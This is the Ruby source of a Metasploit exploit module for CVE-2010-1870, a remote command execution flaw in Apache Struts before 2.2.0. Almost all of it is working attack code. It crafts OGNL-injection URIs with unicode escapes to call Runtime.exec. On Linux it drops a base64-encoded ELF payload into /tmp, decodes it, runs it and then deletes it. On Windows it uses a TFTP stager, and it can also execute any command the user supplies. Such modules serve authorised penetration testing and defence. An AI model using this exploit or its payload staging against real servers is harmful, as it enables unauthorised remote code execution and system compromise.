metasploit-framework/modules/exploits/multi/http/struts_code_exec.rb

154 lines
5.0 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in
Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
handle unicode characters in OGNL extensive expressions passed to the web server.
By sending a specially crafted request to the Struts application it is possible to
bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
Bypassing this restriction allows for the execution of arbitrary Java code.
},
'Author' =>
[
'bannedit', # metasploit module
'Meder Kydyraliev', # original public exploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-1870'],
[ 'OSVDB', '66280'],
[ 'EDB', '14360' ],
],
'Platform' => %w{ linux win },
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
'CmdStagerFlavor' => 'tftp'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DisclosureDate' => 'Jul 13 2010',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
], self.class)
end
def execute_command(cmd, opts = {})
uri = normalize_uri(datastore['URI'])
uri = Rex::Text::uri_encode(uri)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(2)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
vprint_status("Attempting to execute: #{cmd}")
resp = send_request_raw({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
}, 5)
end
def windows_stager
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end
def linux_stager
cmds = "/bin/sh@-c@echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4+rand(4))
execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end
execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")
execute_command("/bin/sh@-c@/tmp/#{file}")
@payload_exe = "/tmp/" + file
end
def on_new_session(client)
if target['Platform'] == 'linux'
print_warning("Deleting #{@payload_exe} payload file")
execute_command("/bin/sh@-c@rm #{@payload_exe}")
else
print_status("Windows does not allow running executables to be deleted")
print_status("Delete the #{@payload_exe} file manually after migrating")
end
end
def exploit
unless datastore['CMD'].blank?
print_status("Executing user supplied command")
execute_command(datastore['CMD'])
return
end
case target['Platform']
when 'linux'
linux_stager
when 'win'
windows_stager
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
handler
end
end